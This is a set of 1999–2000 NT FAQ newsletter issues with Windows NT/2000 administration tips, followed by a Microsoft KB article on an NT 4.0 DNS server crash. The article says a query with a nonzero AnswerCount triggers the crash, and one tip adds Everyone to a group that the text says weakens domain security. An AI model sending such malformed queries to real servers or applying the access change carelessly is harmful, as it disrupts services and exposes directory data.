2, Right click on the root you wish to add a replica to and select ‘New Root Replica Member’
3, You will be asked for a server that will host a copy of the Dfs root. Click Next
4, As when creating the original you need to either select an existing share or create a new folder and share. Click Finish
5, Click OK to the success confirmation

These root replicas will all contain the Dfs root information by utilitizing and replicating via the Active Directory. You can actually see the Dfs information using the Active Directory Users and Computers snap-in, select Advanced Features view, System, Dfs.

--------------------------------------------------------------------------------

Q. How can I add a replica child node to Dfs in Windows 2000?

A. The Windows 2000 version of Dfs allows child replica sets to be created in which a single Dfs leaf points to multiple shares on different servers the File Replication Service will keep the contents of all shares in sync with each other. This allows fault tolerance AND load balancing.

Members of a node replica set must:

1, All be members of the domain
2, Use NTFS 5.0
3, Must be on different servers. You cannot replicate between shares on the same server.

To add a new Dfs child replica member perform the following:

1, Ensure an up-to-date copy of the resource to which a new replica member is to be added is placed in the new share which will join the set
Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
2, Right click on the child node you wish to add a replica to and select ‘New Dfs Replica Member’
3, You will need to enter the UNC of the new share and you have the option for
- No replication
- Joint replication – normal replication Settings
’No replication’ is useful if the contents are read-only documents which do not often change. Joint replication will replicate the contents of the shares with all members in the replica set. Click OK
4, The replication set topology dialog will be shown. Check replication has been enabled and click OK

Multi-master replication is used except on the first replication path where the contents of the Primary server is copied to the other members. Any content currently in the other shares is moved to a NtFrs-PreExisting subdirectory (but a checksum is performed and if the files match with the primary servers share they are moved back into the main directory to save network bandwidth in copying them from the Primary server).

Replication is every 15 minutes by default.

--------------------------------------------------------------------------------

Till next week, take care.

John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author.

I currently have a problem whereby I need to take the VGA output of one machine and have it displayed in a Window of another (one reason is to get screen shots of installations etc.). Does anyone know of any such hardware that excepts as an input a VGA connection for NT?

Windows 2000 testing is going well and I have heard from a friend at Microsoft the release date will be around 6th October but this is not an official release date.

I'm working to improve the layout of this message and in future important graphics that are not shown in the e-mail version of the FAQ will have a URL where you can view it.

A number of people have asked for the HTML to include the FAQ search on their own company/personal pages and below is the code. This returns a list of hyperlinked questions which relate to the query. Put it in a window and no-one will even know they have left your site. There is no charge for this service and gives your visitors direct access to the largest NT/2000 FAQ in the world.

<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
</td></tr>
</table>

New additions last week:

Q. How can I tell at what time I logged on?
Q. How can I modify the grace timeout for password protected screensavers?
Q. How can I minimize all open windows?
Q. How can I configure logoff to show on the Start menu in Windows 2000?
Q. How can I configure Control Panel to cascade on the Start menu in Windows 2000?
Q. How can I create a child domain?
Q. Are there any Easter Eggs in Internet Explorer 5.0?
Q. How can I save the BSOD information?
Q. Internet Mail Server hangs on start-up, ID 7022, why?

----------------------------------------------------------------------------------

Q. How can I tell at what time I logged on?

A. If you type

C:\> net statistics workstation

from the command prompt it will show you the time the workstation service started which does NOT necessarily reflect the last logon time as some sources would have you believe.

If you press Ctrl - Alt - Del then you will also be shown the logon date and time.

The best way is to use the Event Viewer:

1, Start the Event Viewer (Start - Programs - Administrative Tools - Event Viewer)
2, From the File menu select Security
3, Look for the latest event 528 which is a Success Audit
4, Double click on it for complete information

You will need to ensure auditing is enabled for logon success and failure
1, Start the User Manager (Start - Programs - Administrative Tools - User Manager)
2, Select Audit from the Policies menu
3, Enable "Audit These Events" and select "Logon and Logoff" success and failure. Click OK
4, Close User Manager

--------------------------------------------------------------------------------

Q. How can I modify the grace timeout for password protected screensavers?

A. When a password protected screen saver starts there is a grace period before a password needs to be entered to deactivate. This can be changed as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3, From the edit menu select New - String Value from the Edit menu
4, Enter a name of ScreenSaverGracePeriod and press Enter
5, Double click and set to the number of seconds grace period. Click OK
6, Close the registry editor
7, Reboot the machine

--------------------------------------------------------------------------------

Q. How can I minimize all open windows?

A. To minimize all open Windows press <Win key> + M. To restore press <Win key> + <shift> + M

--------------------------------------------------------------------------------

Q. How can I configure logoff to show on the Start menu in Windows 2000?

A. This is normally done by selecting 'Taskbar & Start Menu...' from the Settings menu of the Start button, select the 'Start Menu Options' and check the ' Display Logoff' option.

You can also accomplish this by directly editing the registry:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3, From the Edit menu select New - DWORD value and enter a name of StartMenuLogoff (if it does not exist)
4, Double click the new value and set to 1
5, Close the registry editor
6, Logoff and then logon

--------------------------------------------------------------------------------

Q. How can I configure Control Panel to cascade on the Start menu in Windows 2000?

A. This is normally done by selecting 'Taskbar & Start Menu...' from the Settings menu of the Start button, select the 'Start Menu Options' and check the 'Expand Control Panel' option.

You can also accomplish this by directly editing the registry:

1, Start the registry editor (regedit.exe)
Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
2, From the Edit menu select New - String value and enter a name of CascadeControlPanel (if it does not exist)
3, Double click the new value and set to YES
4, Close the registry editor
5, Logoff and then logon

--------------------------------------------------------------------------------

Q. How can I create a child domain?

A. Windows 2000 allows the creation of a domain as a child of another domain. When two or more domains are joined in a parent-child relationship a domain tree is formed.

A child domain is created when executing the DCPROMO.EXE image and the parent domain must be accessible to create.

1, Install Windows 2000 on the machine
2, Ensure the machine has TCP/IP and DNS configured correctly
3, Execute DCPROMO
4, Click Next to continue the upgrade
5, Select 'Domain controller for a new domain' and click Next
6, Select 'Create a new child domain in an existing domain tree' and click Next
7, Enter a Username, password and domain you will be using to join the domain tree. This account must reside in the parent domain a domain in the forest you are joining. Click Next
8, Select the parent domain name by selecting Browse, e.g. savilltech.com. Enter the child domain (just the left most part), e.g. legal. The new complete name will be shown, e.g. legal.savilltech.com. Click Next
9, If this is a new domain controller enter a NetBIOS name for backwards compatibility. By default it will be the left most 15 characters of the DNS domain name (up to the first .). 10, If you are upgrading an existing DC then the NetBIOS name cannot be changed. Click Next
11, Database and log locations will be shown. Click Next
12, The System Volume area will be shown. Click Next
13, An option to weaken security for 4.0 RAS servers. Select your option and click Next
14, A summary will be shown. Click Next
15, The new domain creation will begin
16, Click Finish and reboot the machine

Instead of performing screenshots I've produced an animated GIF of the entire child domain creation (I was bored ;-) ), http://www.ntfaq.com/ntfaq/images/childdcpromo.gif.

--------------------------------------------------------------------------

Q. Are there any Easter Eggs in Internet Explorer 5.0?

A. There are two Easter eggs I know of for IE 5.0.

1, Open up Notepad
2, Type:
<!-- introducing the Trident team -->
3, Save the file as "test.htm" (make sure you add the quotes or .txt will be added to the end)
4, Open up "test.htm" in IE5
5, IE5 Easter Egg #1 is shown

http://www.ntfaq.com/ntfaq/images/ie5eeg1.gif

Number two:

1, Start IE5
2, From the Tools menu, Internet Options
3, Select the General tab
4, Click the Languages button
5, Click 'Add'
6, Type: "ie-ee" (without the quotes) and click 'OK'
7, Move "User Defined [ie-ee]" to the TOP of the list. Click OK
8, Click OK to the main dialog
9, Click on the Search icon (to pull up the side search menu), notice the new Search options :-)
10, Select 'Previous Searches'

To remove ie-ee just start the Languages dialog again, select ie-ee and click Remove.

-----------------------------------------------------------------------

Q. How can I save the BSOD information?

A. System Internals have a utility called BlueSave which can be downloaded from http://www.sysinternals.com which will save up to 3 BSOD's before expiring and at that point you should purchase the commercial version from http://wininternals.com.

Once installed the BSOD will be saved in file %systemroot%\BLUESCRN.TXT to help you diagnose problems. A sample BLUESCRN.EXE can be seen here.

--------------------------------------------------------------------------------

Q. Internet Mail Server hangs on start-up, ID 7022, why?

A. A FAQ reader recently brought this to my attention who after changing RAS in the network applet to only dial out and rebooting the server the NT event viewer showed an error message saying that The Internet Mail Server hung on start up ID7022. This occurs even if you install Exchange server to NT4 where RAS incoming call handling is disabled. The RAS setting was changed and the event was still generated.

This was resolved by re-enabling the Incoming and outgoing dial access in RAS-> Network -> control applet. In Control panel -> Services selecting RAS Connection manager and setting it to start up as automatic and RAS Access Server and setting it to start up as automatic.

--------------------------------------------------------------------------------

Till next week take care,

John


From: John Savill [john@savilltech.com] Sent: 30 November 1999 19:27 To: NTFAQ Mailing List Subject: NT FAQ, 30 November 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Service Pack 6a released, http://www.microsoft.com/ntserver/nts/downloads/recommended/sp6/. A number of fixes to the original SP6 have been made. The IT Portal has been launched, http://www.theitportal.com which will provide a gateway to many IT related resource sites and services including the NT FAQ. I've a arranged a 3 month free subscription to NT Explorer Magazine for readers of the NT FAQ (I write for them). Goto http://www.ntexplorer.com/ntfaq/ to take advantage of the offer. New additions last week: Q. I can't have spaces in my Windows 2000 NetBIOS domain name, why? Q. Underscores (_) in my computer names are changing to dashes (-) in Windows 2000. Q. How can I fool a program into thinking my Windows 9x installation is Windows 3.11? Q. What is the OEM version of NT/2000? Q. How to setup NT Server 4.0 on greater then 4gig Hard Drive without Partition Magic or Atapi.sys. Q. How can I enable 4.0 RAS servers in a Windows 2000 domain? Q. How can I disable 4.0 RAS servers in a Windows 2000 domain? Q. Configuring Dual fault tolerant mirrored drives. Q. I get an error event 1501 trying to start the Event Log service. Q. How can I configure a service to automatically restart if it stops? Q. How can I force the output of a program into an environment variable? Q. How can I create trusts from the command line in Windows 2000. Q. How can I specify an alternate HAL during Windows 2000 installation? Q. I've disabled ACPI in my BIOS now Windows 2000 will not boot. ---------------------------------------------------- Q. I can't have spaces in my Windows 2000 NetBIOS domain name, why? A. In a Windows NT 4.0 based domain a space is a legal character in the NetBIOS domain name. Windows 2000 domains are DNS based are therefore DNS names however a NetBIOS name is also given for backwards compatibility. DNS does not allow a space in a name and so to keep consistency Microsoft have now removed the space as a legal character in a 2000 NetBIOS domain name. It can contain the following special characters: ! @ # $ % ^ & ( ) - _ ' { } . ~ The Following characters are not allowed: \ * + = | : ; " ? < > , -------------------------------------------------------------------------------- Q. Underscores (_) in my computer names are changing to dashes (-) in Windows 2000. A. While the DNS server supplied with Windows 2000 supports the underscore (_) character as a valid DNS character (in accordance with RFC 2181) other DNS solutions may not and so to avoid possible problems Windows 2000 changes any _ to a - in a computer name during setup. After Setup is complete, you can change the computer name back to include the underscore. If you do so, you receive a warning that the computer name may not work. -------------------------------------------------------------------------------- Q. How can I fool a program into thinking my Windows 9x installation is Windows 3.11? A. Yuck! If you do need to do this a utility is supplied with Windows 95 and 98 called mkcompat.exe which will make a program think its actually running under Windows 3.1 etc. Click the Start button, click Run, type "mkcompat" (without quotation marks) in the Open box, then click OK On the File menu, click Choose Program Select the program's executable file so that it appears in the File Name box, then click the Open button Click the 'Lie About Window's Version Number' check box to select it On the File menu, click Save Quit the Make Compatible tool Try running the program again -------------------------------------------------------------------------------- Q. What is the OEM version of NT/2000? A. We talk about OEM versions of NT, but what is OEM? OEM stands for Original equipment manufacturers and are basically the large computer companies like Compaq, Dell who get special versions of operating systems and applications that are potentially tailored for their machine hardware. For example special versions of NT exist for OEM's which can support more than the standard 4 processors. OEM's have access to special tools like the OEM Preinstallation Wizard (Opkwiz.exe) for Windows 9x to help define installations, applications. I wish I had OEM status :-) -------------------------------------------------------------------------------- Q. How to setup NT Server 4.0 on greater then 4gig Hard Drive without Partition Magic or Atapi.sys. A. The following was sent to me by Joshua Bolton and I thought you may find is useful, thanks Joshua! Preamble This document of procedure assumes some understanding of partitioning in the Dos environment and that you know how to use FDISK.EXE and FORMAT.COM to make a drive bootable. It is also assumes that you know how to install NT Workstation or NT Server and that you know how to use Disk Administrator in NT. These are the following options if you are just using Microsoft NT 4.0 (There are other options using Atapi.sys or Partition Magic. Please see John’s FAQ’s or follow posts on Partition Magic) Options: 1. access to another NT4.0 workstation or server 2. standalone installation If you have access to NT Server or NT Workstation already installed in another system 1. first in the server or workstation you want to install NT to finally, do the following 2. use FDISK.EXE and FORMAT.COM from Dos6.22, Win95/98 3. I make a 125meg dos bootable partition. (I believe this can be smaller but have not tested how small I can go for the bootable partition and still mount NT.) 4. Put the drive in the NT Workstation or NT Server,(that has minimally Service Pack 3 installed), as slave or on the second IDE channel. 5. Using Disk Administrator create an Extended partition with the remaining disk space. Make NO changes to the primary (first) partition. 6. From the Partition Menu in Disk Administrator choose Commit Changes Now 7. Format the Extended Partition as NTFS 8. Exit and turn off the system. 9. Remove the drive from this system and put it in its new home (the other system). 10. Boot NT Workstation or Server from either using a boot disk with CD-ROM drivers or from the CD-ROM with a BIOS that can boot a CD-ROM. 11. Install NT to the NTFS partition WITHOUT MAKING ANY CHANGES IN FORMAT OR PARTITIONING. Note: you now have NT on a NTFS partition that was NOT converted from FAT during the NT Install. This is a complete NTFS partition in that the MFT and NTFS partition pointers are in the right location and the right size. This configuration gives you ALL of the benefits of NTFS for your NT system. If this is a standalone installation You have a number of options depending on the size of your hard drive and whether you want to boot other OS’s. A: install multiboot NT to 2-4gig primary partition with Win95/98 B: install multiboot with 95/98 and NT on separate partitions C: install NT to an extended partition preformatted as NTFS D: install NT in a multiprimary partition environment A: Installing NT and Win95/98 on the same partition 1. There will be no FAT32 or NTFS conversion of the primary partition otherwise you will lose access to the OS that does not understand that file structure. 2. Install Win95/98 3. Install NT You now have NT and Win95/98 in a multiboot using the same partition. B: Installing multiboot of NT and Win95/98 on separate partitions 1. There will be no FAT32 or NTFS conversion of the primary partition. You CAN make a small primary partition (I recommend 125meg) and then create two logicals. One for NT and one for Win95/98. You can install Win95/98 to the primary (2-4gig) if you DO NOT convert to FAT32. 2. Install Win95/98. Convert to FAT32 if on separate, but not primary partition. 3. Install NT. Convert to NTFS if you desire. You now have NT and Win95/98 in a multiboot using different partitions with the primary FAT16, Win95/98 on FAT32 and NT on NTFS. Or Win95/98 on FAT16 on the primary and NT on the logical with NTFS. C: Installing NT to an extended partition preformatted as NTFS 1. This procedure requires you to install NT twice. Create your primary partition at least 2gig. It can be smaller but I have not tested this scenario. 2. Install NT to the Primary Partition. 3. Install minimally Service Pack 3 4. In NT’s Disk Administrator allocate the rest of the drive as extended partition. 5. Format as NTFS 6. Rerun NT install and choose to install to the NTFS partition with no changes. 7. After the install is completed and you are booted to the second install, delete the first installs Winnt directory. Edit the boot.ini and remove the references to the first install. You now have NT on a nonconverted from FAT to NTFS partition with MFT and pointers in the right places and the right size. You will also benefit from the performance of native NTFS. You can also have a partition larger then 4-8gig. D: Install NT in a Multiprimary partition environment 1. When you have multiple primary partitions created with other products then Dos or NT install, NT does not understand this partitioning scheme. So if you have the following setup: a. primary partition b. primary partition c. extended partition NT will not install to the second primary partition or its extended partition but will install to the first primary partition. This is because each primary partition contains its own FAT (file allocation tables which is what keeps track of file locations). The first primary doesn’t know about the second primary’s FAT. So when you boot from the first primary, NT reads it FAT and thereby can’t find the files it needs to load if these files are located on the second primary or its extended partition. 2. You can make NT boot to a secondary primary with System Commander, Boot Magic or other boot managers. Boot managers intercept and handle requests to mount different partitions. So by using a boot manager you can fool NT into thinking the second primary partition is really the first. 3. This setup should never be used in a production environment but is meant for home training. Important Notes: I have never been able to get NT during install to allocate more then 4gig of disk space. FAT32 is to address large drives or partitions beyond 4gig. It does NOT increase speed. NTFS that is created by NT Install is a NTFS partition that was converted from FAT16. You will NOT get the performance of speed with this configuration but you will get the benefit of file level security. I chose 125 meg for the minimum Primary Partition since I usually boot up on a boot disk with cdrom drivers. NT install needs this space to expand the temporary files it uses upon first reboot of the system during install unless you preformat an extended partition first. To create NTFS drives larger then 4-8gig after the NT install you must install minimally Service Pack 3 Review of FDISK.EXE Rules FDISK.EXE, the Dos utility, for partitioning a hard drive follows these rules. You divide up a disk by creating a Primary Partition and then an Extended Partition. The primary contains all of the information for the layout out the drive including Extended Partition. The Primary contains the boot information and the File Allocation Tables (FATs) one and two. The Primary Partition must be made Active to boot. The Extended Partition is divided up by creating Logical’s which are designated by a Logical Drive Letter. So to FDISK.EXE a drive you create a primary, making it active, then the extended partition and then create logicals in the extended partition. You have to REVERSE the process if you want to remove the partitioning scheme. You would have to delete all logicals before removing the extended partition before you could remove the primary partition. These rules are what determines drive letter assignments. For example one drive will have C: for primary and D:, E:, etc for the logicals. Two hard drives will have the first drives primary as C:, the second drives primary as D:, then back to the first drive with its logicals E:, F:, etc., then to the logicals on the second hard drive G:, etc. After fdisking a drive you must format it to make it usable. I liken Fdisk to putting a Post Office with streets in a new town. Formatting is putting the addresses on all the houses. You do this by booting up on a boot disk. From a: type format c: /s (the /s is for system files). -------------------------------------------------------------------------------- Q. How can I enable 4.0 RAS servers in a Windows 2000 domain? A. When you run DCPROMO.EXE to create your Windows 2000 domain one of the stages asks if you wish to weaken security to enable 4.0 servers to act as RAS servers. If you said No but later decide you require this enter the following command: C:\> net localgroup "Pre-Windows 2000 Compatible Access" everyone /add This creates a local group "Pre-Windows 2000 Compatible Access" and adds the everyone group to it. After entering the command you must restart the domain controller. -------------------------------------------------------------------------------- Q. How can I disable 4.0 RAS servers in a Windows 2000 domain? A. When you run DCPROMO.EXE to create your Windows 2000 domain one of the stages asks if you wish to weaken security to enable 4.0 servers to act as RAS servers. If you said Yes but later decide you don't require this enter the following command: C:\> net localgroup "Pre-Windows 2000 Compatible Access" everyone /delete This removes everyone from the local group "Pre-Windows 2000 Compatible Access". After entering the command you must restart the domain controller. Security may be compromised when enabled because it allows anonymous users to read information in this domain. When Windows NT 4.0 RAS servers no longer exist in the domain, you can remove legacy access to Active Directory by using the command above. -------------------------------------------------------------------------------- Q. Configuring Dual fault tolerant mirrored drives. A. Thanks to Joshua Bolton for this information. Preamble: you must have two exactly the same ide drives. In this case, I am using IBM 14gig Deskstars. Each one is set to master and installed in a Pentium mother board each on its own channel, ie. ide controller 0 and ide controller 1. Step 1 Do the hardware setup. Set the BIOS to “auto” for each drive. Boot the system and see that the BIOS sees each drive. Turn off the server. Disconnect the cable from Drive 0 Step 2 Boot up on a Dos disk. Dos version 6.22 or better containing FDISK and FORMAT. Create a 125 meg primary partition. Format it with “format c: /s” so it is bootable. Reboot and confirm that it boots. Step 3 Set your BIOS to boot the CDROM or use a boot disk with CD-ROM drivers. Insert the NT Server CDROM and boot. NT will load the setup files using the 125meg DOS partition. Step 4 You will come to part that asks where you want to install NT and gives you the option of creating the partition. Create a 2gig partition. This is only temporary so don’t waste your time with anything bigger. Leave it as FAT. Let NT Server install to this partition. Reboot and load NT. Install Service Pack 3. Do NOT install Service Pack 4 at this time! Reboot. Check the System error log to make sure everything is OK. (no hardware errors about drives) Down the server and turn it off. Reconnect the cable to IDE0 REPEAT STEP 2 FOR THIS DRIVE Step 5 Boot NT Server. Go into Disk Administrator and create the extended partition on IDE 0 So it will look like this; 125meg Dos primary partition with the rest, in this case, 14gig logical partition. Format the logical partition as NTFS Down the server and turn it off. Disconnect the cable from IDE1 Step 6 REPEAT STEP 3 This time when you get to the part about where to install NT Server select the NTFS partition. DO NOTHING ELSE except continue. Complete the installation of NT. Install Service Pack 3. Down the server and turn off the system. Reconnect IDE1 Step 6 Start the system. It will boot to the first drive IDE0. Go into Disk Administrator Select IDE1 and delete the 2gig partition. From the menu choose “Partition” and “Commit Changes Now” Leave the logical partition on IDE1 “raw” Step 7 In Disk Administrator highlight the NTFS partition on IDE0 Hold your control key down and select the same size logical partition on IDE1 Right mouse click and select “Mirror” From the menu choose “Partition” and “Commit Changes Now” The mirroring process will take some time depending on how big your NTFS partition is in size. Step 8 Copy the boot.ini from IDE0’s 125meg primary partition to IDE1’s 125meg primary partition. Note: since the BIOS is set to Auto for each drive and you have set it to boot IDE first, if the IDE0 fails, upon reboot IDE1 will load NT Server with exactly what was contained in IDE0 since it is a mirrored set. By creating the DOS primary partition and installing NT Server to each drive, NT altered the partition table to look for the boot.ini. This is also why you copy the final boot.ini over to IDE1 since the drive partitions match. If a drive fails you will be up and operational. You will choose the time and place to reset up the mirror. ALWAYS BACKUP YOUR SYSTEM! Just in case J How to recover after a disk failure Preamble: You will have to have an exact type drive as a spare. You should be able to use a different manufactures drive but I have not tested that. If IDE0 failed, move the drive on IDE1 to channel 0. Install the new drive on channel 1. If IDE1 failed just replace the drive. Step A Break the mirror set in Disk Administrator. Reboot (it will ask you to) Come back up and confirm that the mirror set is gone. Down the server and do Step 2 to setup the new drive. Bring up the server and remirror the drive from IDE0 Note: I had serious problems with Service Pack 4 and dual processors during install. Service Pack 3 allowed me to create greater then 4gig NTFS partitions and was stable during the setup phase. At the writing of this document Service Pack 6 is out though I am only on Service Pack 5 with my production server at this time. -------------------------------------------------------------------------------- Q. I get an error event 1501 trying to start the Event Log service. A. If when you try and start the Event log service you get error 1501, unable to open Event log files this is usually caused by one of two things The event log files are missing The event log files have read only set on them The event log files are stored in the %systemroot%\system32\config and are named appevent.evt, secevent.evt and sysevent.evt. If any files are missing try copying from another machine and if the read only attribute is set remove via Explorer. It is possible to move the event log files and to check you are looking in the correct place check the registry entries: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\File HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\File HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\File -------------------------------------------------------------------------------- Q. How can I configure a service to automatically restart if it stops? A. Under Windows 2000 the built in support for service recovery has been greatly enhanced and using the Computer Management MMC, Services and Applications - Services under the Recovery tab of each service are a number of definable actions to take in the event of the service stopping: Take no action Restart the Service Run a user defined file Reboot the machine This is not possible under Windows NT 4.0 however by writing a custom script which runs continuously you could achieve a similar effect using a batch file, for example (we use the SC.EXE and SLEEP.EXE resource kit utilities): :start sc query spooler > state.txt find "STOPPED" state.txt if %errorlevel% EQU 0 goto error sleep 300 goto start :error sc start spooler sleep 5 goto start You could add a server name, e.g. sc \\server query etc. if you want to check a remote system. Basically the above checks every 5 minutes but you can change and check multiple services if you like. -------------------------------------------------------------------------------- Q. How can I force the output of a program into an environment variable? A. Some programs return values to the command line and it may be you want these in a variable so they can be viewed/queried by other processes. The easiest way to put the result into an environment variable is to trap it in a FOR statement. For /f "Tokens=*" %i in ('command') do set variable="%i" For example: C:\>For /f "Tokens=*" %i in ('ver') do set NTVersion="%i" C:\>set NTVersion="Windows NT Version 4.0 " C:\>echo %NTVersion% "Windows NT Version 4.0 " If you place the command in a batch file you require two % in front of i, e.g. For /f "Tokens=*" %%i in ('ver') do set NTVersion="%%i" -------------------------------------------------------------------------------- Q. How can I create trusts from the command line in Windows 2000. A. Windows 2000 Resource Kit ships with TRUSTDOM.EXE which enables trust relationships to be defined between Windows 2000 domains and one way relationships with 4.0 domains. The trustdom syntax is: C:\> trustdom [[domain[:dc],]target_domain[:dc]] [Options] The default switch is "-out." There are two methods a one-way trust is created: An outbound trust on the local/specified domain. An inbound trust on the specified target domain. There are a number of other switches which can be listed with the /? switch. See Knowledge Base article Q232050 (http://support.microsoft.com/support/kb/articles/Q232/0/50.ASP) for more information and examples. -------------------------------------------------------------------------------- Q. How can I specify an alternate HAL during Windows 2000 installation? A. During installation of Windows 2000 you can press F5 and select an alternate HAL to be used: ACPI Multiprocessor PC ACPI Uniprocessor PC Advanced Configuration and Power Interface (ACPI) PC Compaq SystemPro Multiprocessor or 100% Compatible MPS Uniprocessor PC MPS Multiprocessor PC Standard PC Standard PC with C-Step i486 Other Selecting Other allows a 3rd party HAL to be specified. -------------------------------------------------------------------------------- Q. I've disabled ACPI in my BIOS now Windows 2000 will not boot. A. During installation if Advanced Configuration and Power Interface (ACPI) is detected specific changes are made to the configuration in the form of registry entries and system files. If you then disable ACPI in the BIOS the OS will fail to boot with a BSOD: 0x00000079 (0x00000004, 0x0000AC31, 0x00000000, 0x00000000) This is because a separate HAL is used for ACPI, non-ACPI systems. If you no longer want ACPI you will need to reinstall Windows 2000. ------------ Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


What's New

One months of additions are listed here.

Monday 10 April 2000

  • Q. How can I manage/create IP Security policies?
  • Q. How can I change the authentication method used for IPSec by a policy?
  • Q. How can I install a certificate for use by IPSec?

Friday 7 April 2000

  • Q. How can I change the ticket lifetime used by Kerberos?
  • Q. What is PKI?
  • Q. What is a digital signature and how does it work?
  • Q. What are secret keys?

Thursday 6 April 2000

  • Q. How can I troubleshoot IPSec?
  • Q. Where do I get netdiag.exe and what is it?

Tuesday 4 April 2000

  • Q. How do I enable IPSec traffic through a firewall?
  • Q. I'm missing the 'Computers Near Me' My Network Places group.

Monday 3 April 2000

  • Q. What is IPSec?
  • Q. How do I enable IPSec on a machine?
  • Q. How do I define IPSec policy for a group policy object?

Friday 31 March 2000

  • Q. The Administrator password I set during unattended installation is ignored.
  • Q. I'm getting a large number of event 2022 event logs.

Wednesday 29 March 2000

  • Q. I'm unable to view/delete pagefile.sys using the recovery console.
  • Q. I get error messages when I try to eject/format/label a removable disk.

Monday 27 March 2000

  • Q. How do I enable ACPI on my machine/change the HAL?
  • Q. How do I disable/enable ACPI on my machine during installation?
  • Q. How do I create a caching-only DNS server?

Friday 24 March 2000

  • Q. I can't load the basicdc.inf using the Security Configuration and Template editor or get errors in event log if I implement it?

Thursday 23 March 2000

  • Q. What is Kerberos?
  • Q. How is the shared key used by Kerberos distributed?
  • Q. How is the long term key between a client and the KDC distributed?
  • Q. How can I start Internet Explorer without the toolbars?

Wednesday 22 March 2000

  • Q. How can a user request a certificate via the web?
  • Q. How can I administer printers via the web?
  • Q. How do I disable bus mastering on the 3COM 3C590 card?

Monday 20 March 2000

  • Q. How do I manually delegate authority in Windows 2000?
  • Q. How do I delegate authority in Windows 2000 using the Wizard?
  • Q. How do I use the Security Configuration and Analysis snap-in?

Friday 17 March 2000

  • Q. I'm unable to upgrade my Windows 2000 evaluation version to the full edition using a Windows 2000 upgrade CD.
  • Q. How do I upgrade my Windows 2000 installation to 128-bit encryption?
  • Q. How do I rename a file using WSH?

Thursday 16 March 2000

  • Q. How can set the primary DNS suffix in Windows 2000?
  • Q. How can I talk to a serial (COM) port from the command line/batch file?
  • Q. Internet Explorer Admin Kit version of IE 5.0 replaces the 128 bit encryption on Windows 2000.

Tuesday 14 March 2000

  • Q. How can I restrict network browsing to users local workgroup/domain?
  • Q. How can I stop users browsing computers in their local workgroup/domain?
  • Q. How can I hide ALL desktop icons?

Monday 13 March 2000

  • Q. What's the difference between manual and fast recovery in Windows 2000?
  • Q. I've deleted NTBOOTDD.SYS and can't find it anywhere.
  • Q. How do I get the RIO 500 player to work on Windows 2000?

Friday 10 March 2000

  • Q. How is information enumerated through NULL session access, Remote Procedure Calls and IPC$?
  • Q. I get an IRPStackSize event log every time I start Windows 2000.
  • Q. How do I enable disk counters in Performance Monitor in Windows 2000?
  • Q. Global.exe does not work with DNS domain names.

Wednesday 8 March 2000

  • Q. How can I stop UNC shares automatically being added to My Network Places?
  • Q. DontDisplayLastUserName setting is lost in upgrade from NT 4.0 to Windows 2000.

Tuesday 7 March 2000

  • Q. How do I add a DWORD value from a .INF file?

Monday 6 March 2000

  • Q. How do I reset the DVD region count?
  • Q. How can I disable the Start menu program scroll?
  • Q. How can I detect if Windows Update is installed on a machine?


DOCUMENT:Q142047    [winnt]
TITLE: Bad Network Packet May Cause Access Violation (AV) on DNS Server
PRODUCT: Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbnetwork NTSrv nttcp

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

The Domain Name System (DNS) fails with an access violation and ceases to
resolve names.

CAUSE
=====

If a DNS query is modified so that the original query's AnswerCount field
is greater than 0, the DNS server may cause an access violation (AV).

If the AnswerCount is greater than 0, we expect to already have data from
the original query, but in this case, the data is not present.

RESOLUTION
==========

Obtain the following fix or wait for the next Windows NT service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/dns-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 prodnt

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
